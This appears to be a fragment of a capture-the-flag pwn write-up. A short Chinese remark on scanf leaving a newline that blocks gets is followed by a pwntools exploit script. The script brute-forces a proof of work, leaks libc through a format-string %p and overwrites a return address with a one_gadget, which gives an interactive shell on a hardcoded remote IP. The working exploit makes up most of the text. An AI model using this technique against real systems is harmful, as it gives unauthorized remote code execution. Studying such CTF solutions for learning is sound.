我们知道scanf在%s的格式化读入下是不会读'\n'的,并且它读到'\n'和就停止了(也可以说才会停止,所以不能用send来避免),就是这个未读的'\n'卡死了我们的gets
from
pwn
import
*
from
LibcSearcher
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
ret
=
0x400679
libc
=
ELF(
'./libc-2.23.so'
)
one
=
[
0x45226
,
0x4527a
,
0xf03a4
,
0xf1247
]
def
z(r):
gdb.attach(r)
def
exp():
r
=
remote(
'39.99.242.16'
,
10000
)
r.recvuntil(
"good luck\n"
)
string
=
r.recvuntil(
'\n'
,drop
=
True
)
if
string
=
=
"fmt"
:
pd
=
'%{}$p'
.
format
(
0x1d
+
6
)
pd
=
pd.ljust(
0x78
,
'a'
)
pd
+
=
p64(
0x400740
)
r.sendline(pd)
libcbase
=
int
(r.recvuntil(
'aa'
)[:
-
2
],
16
)
-
(libc.sym[
'__libc_start_main'
]
+
240
)
log.success(
'libcbase:'
+
hex
(libcbase))
onegadget
=
one[
0
]
+
libcbase
r.recvuntil(
"good luck\n"
)
string
=
r.recvuntil(
'\n'
,drop
=
True
)
pd
=
''
if
string
=
=
"fmt"
:
pd
=
"a"
*
0x78
else
:
pd
=
'a'
*
0x58
pd
+
=
p64(onegadget)
r.sendline(pd)
r.interactive()
exit(
0
)
exp()